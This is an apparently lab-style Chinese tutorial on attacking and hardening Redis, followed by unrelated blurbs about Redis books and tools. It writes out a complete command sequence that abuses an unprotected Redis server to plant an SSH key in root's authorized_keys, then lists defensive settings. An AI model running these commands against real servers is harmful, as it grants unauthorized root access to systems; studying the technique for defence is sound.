redis攻与防
思路:
将入侵者(centos201)的公钥写入到被入侵者(centos200,没有安全措施redis服务器)上,从而达到直联centos200的目的。
1、生成本机公钥(centos201)
ssh-keygen -t rsa
2、在本机执行命令完成入侵
redis-cli -h centos200 -p 6379 config set dir /root/.ssh
redis-cli -h centos200 -p 6379 config set dbfilename "authorized_keys"
redis-cli -h centos200 -p 6379 flushall
(echo -e '\n';cat /root/.ssh/id_rsa.pub;echo -e '\n') | redis-cli -h centos200 -p 6379 -x set crackit
redis-cli -h centos200 -p 6379 save
3、本机测试
ssh centos200
安全防护:
1、bind参数设置:绑定访问ip,不能任意IP(0.0.0.0)都可访问
2、更改默认的6379端口
3、设置复杂度较高的密码
4、禁用相关重要命令:flushall\config\eval,举例:rename-command FLUSHALL ""
5、禁止使用root启动redis,使用一些不能登录(nologin)的账号启动服务
groupadd -r redis && useradd -r -g redis redis
6、保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
# chattr +i ~/.ssh/authorized_keys
然用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
# chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。
相关推荐
在C#中,我们可以利用StackExchange.Redis库来与Redis进行交互。本项目提供了一个基于C#的Redis发布与订阅(Publish/Subscribe)系统的源码,帮助开发者了解如何在Windows Forms(Winform)应用中实现这一功能。 ...
redis设计与实现 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,...
本书《Redis开发与运维》为读者提供了一本系统学习Redis的参考资料,内容涵盖了Redis的基本概念、API的使用、客户端的选择、持久化机制、复制原理以及高可用解决方案等多个方面。 首先,书中详细介绍了Redis的特性...
在中文圈,黄建宏先生所著的《Redis设计与实现》是一本广受好评的Redis学习书籍。这本书深入剖析了Redis的内部工作机制,帮助读者理解其设计原理和实现细节。现在,我们有了一份与该书配套的Redis 3.0中文注释版源码...
Redis 设计与实现.mobi
**Redis与LabVIEW的整合:RedisinLabVIEW和LabVIEWRedis工具包** Redis是一个高性能的键值数据库,常用于数据缓存和消息队列。它支持丰富的数据类型,包括字符串、哈希表、列表、集合和有序集合。在LabVIEW...
08-Redis HyperLogLog与事务和Redis 7.0那点事_ev.rar08-Redis HyperLogLog与事务和Redis 7.0那点事_ev.rar08-Redis HyperLogLog与事务和Redis 7.0那点事_ev.rar08-Redis HyperLogLog与事务和Redis 7.0那点事_ev.rar...
同样在`bin`目录下,有一个名为`redis-cli`的客户端工具,可以用来与Redis服务器交互: ``` /usr/local/redis/bin/redis-cli ``` 在客户端中,可以使用`SET key value`来设置键值对,`GET key`来获取值,`EXIT`...
Redis安装与卸载文档 在本文档中,我们将详细介绍 Redis 的安装和卸载过程。Redis 是一个开源的、使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的 API。 安装...
Redis基础架构与数据类型 Redis键值操作与命令 Redis字符串与列表数据结构 Redis哈希与集合数据结构 Redis排序集合与使用场景 Redis持久化策略与RDB Redis持久化策略与AOF Redis主从复制与集群配置 Redis事务与Lua...
在Windows环境下,Redis 的安装和使用与在Linux系统中有所不同。这里我们将详细讨论Windows版Redis 5.0.14的相关知识点。 1. **Redis 5.0.14 版本特点**: - Redis 5.0.14是Redis的一个稳定版本,包含了前一版本的...
redis配置文件redis.conf
此外,你还可以通过第三方客户端工具,如Redis Desktop Manager,以图形化界面与Redis服务器交互,提升工作效率。 数据库方面,Redis提供了持久化功能,主要有两种方式:RDB(快照)和AOF(Append Only File)。RDB...
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
redis-5.0.3 redis-5.0.4 redis-5.0.5
### Linux下Redis 3.2.2安装与启动配置 #### 环境准备 - **操作系统**: CentOS 6.5 (2.6.32-431.el6.x86_64) - **软件**: Redis 3.2.2 #### 下载与解压 1. 使用`wget`命令下载Redis安装包: ```bash wget ...
Redis是世界上最受欢迎的内存数据存储系统之一,常用于构建高性能、低延迟的数据缓存和数据库。RedisDesktopManager是一款跨平台的图形用户界面(GUI)工具,使得开发者和管理员能够便捷地管理和操作Redis服务器,...
7. **消息订阅与发布**:Redis Pub/Sub 模块允许客户端订阅特定主题,发布者可以向这些主题发送消息,实现轻量级的消息队列功能。 接下来,关于“redis-desktop-manager-0.8.8.384.exe”文件,这是一个 Redis ...